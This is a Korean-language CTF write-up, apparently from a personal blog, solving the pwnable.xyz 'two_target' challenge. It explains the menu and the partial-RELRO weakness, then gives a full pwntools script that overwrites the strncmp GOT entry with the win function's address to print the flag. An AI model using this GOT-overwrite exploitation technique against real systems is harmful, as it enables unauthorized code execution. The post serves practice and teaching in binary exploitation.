값을 역연산하던가 아님 aaw로 풀 수 있는것 같다
당연히 aaw로 풀었다 ( 역연산은 어려워.... )
인적사항을 쓰고 변경할 수 있다 ( 각기능은 아래와 같음 )
- 이름을 입력 (auth에서 비교할 key 값)
- 나이를 입력 ( aaw할 주소 씀 )
- 국적을 변경 ( 주소에 쓸 값 )
- get shell ( auth함수로 검증하고 참이면 win함수로 flag를 출력한다 )
partial RELRO가 걸려있어서 got overwrite이 가능하다 aaw로 strncmp함수 got를 win함수의 got로 overwrite한 뒤
4번으로 auth함수에 있는 strncmp함수를 호출해서 flag가 출력되도록 했다
from pwn import *
p = process("./two_target")
def ch_nat(data):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"nationality: ")
p.sendline(data)
def ch_age(data):
p.recvuntil(b"> ")
p.sendline("3")
p.recvuntil(b"age: ")
p.sendline(str(data))
strncmp = 0x603018
win = 0x40099c
payload = b"A" * 0x10
payload += p64(strncmp)
ch_nat(payload)
ch_age(0x40099c)
p.recvuntil(b"> ")
p.sendline(b"4")
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / TLSv00 (0) | 2022.05.11 |
---|---|
pwnable.xyz / free spirit (0) | 2022.05.10 |
pwnable.xyz / xor (0) | 2022.05.06 |
pwnable.xyz / note (0) | 2022.05.06 |
pwnable.xyz/GrownUp (0) | 2022.02.14 |